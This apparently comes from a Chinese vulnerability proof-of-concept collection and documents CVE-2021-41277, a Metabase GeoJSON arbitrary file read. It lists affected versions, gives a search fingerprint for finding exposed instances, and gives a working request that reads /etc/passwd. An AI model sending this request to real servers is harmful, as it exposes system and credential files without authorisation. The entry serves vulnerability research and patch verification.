Awesome-POC/Web应用漏洞/Metabase geojson 任意文件读取漏洞 CVE-2021-41277.md
2023-08-28 15:55:36 +08:00

32 lines
581 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Metabase geojson 任意文件读取漏洞 CVE-2021-41277
## 漏洞描述
在受影响的版本中,自定义 GeoJSON 地图admin->settings->maps->custom maps->add a map操作缺少权限验证攻击者可通过该漏洞获得敏感信息
## 漏洞影响
```
metabase version < 0.40.5
metabase version >= 1.0.0, < 1.40.5
```
## 网络测绘
```
app="metabase"
```
## 漏洞复现
登录页面
![image-20220524152541900](./images/202205241525945.png)
验证POC
```
/api/geojson?url=file:/etc/passwd
```
![image-20220524152721994](./images/202205241527087.png)